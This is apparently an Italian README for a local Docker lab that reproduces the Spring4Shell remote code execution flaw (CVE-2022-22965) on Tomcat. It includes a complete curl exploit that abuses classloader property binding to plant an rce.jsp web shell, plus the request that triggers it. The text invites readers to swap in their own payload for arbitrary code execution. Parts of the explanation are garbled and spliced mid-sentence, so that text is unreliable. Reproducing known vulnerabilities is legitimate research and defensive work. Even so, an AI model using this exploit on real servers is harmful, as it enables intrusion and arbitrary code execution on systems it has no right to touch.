
Esempio minimale di come riprodurre la CVE-2022-22965 Spring RCE.
docker-compose up --build
./exploits/run.sh
rce.jsp in webapps/handling-form-submission-complete sul server web.Avviare il server Tomcat in docker
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
Aggiungere -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" se si vuole eseguire il debug da remoto.
Compilare il progetto
./mvnw install
Distribuire l'app
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
Scrivere l'exploit
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
L'exploit creerà il file rce.jsp in webapps/handling-form-submission-complete sul server web.
Usare l'exploit
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
Ora vedrete 123 nel terminale del container. Sostituite System.out.println(123) con il vostro payload per eseguire codice arbitrario.
GreetingController gestisce le richieste POST sull'endpoint /greeting e associa i campi del form all'oggetto Greeting.user.info.firstname). Vedere AbstractNestablePropertyAccessor per i riferimenti.Greeting ha due campi id e content, ma in realtà ha anche un riferimento all'oggetto Class. Possiamo usare class.module.classLoader come chiave dei dati del form per accedere al classloader.module.Greeting. Nient'altro. Nella maggior parte dei casi non è nemmeno pericoloso perché non sono disponibili classi con campi pubblici nemmeno da .L'exploit funziona solo su Tomcat perché ha un classloader speciale. Sebbene una catena di riferimenti simile possa esistere anche su altri server di applicazioni web. Non è ancora stata scoperta semplicemente.
L'exploit richiede Java 9 o superiore perché la proprietà module è stata aggiunta in Java 9.
class.module.classLoader.getResources che ci permette di continuare la catena di riferimenti e accedere a una delle istanze della classe AccessLogValve.jsp nella radice della cartella dell'applicazione con il payload malevolo. Poiché i jsp vengono eseguiti automaticamente da Tomcat, possiamo navigare fino ad esso nel browser ed eventualmente eseguire il payload. Ora è RCE.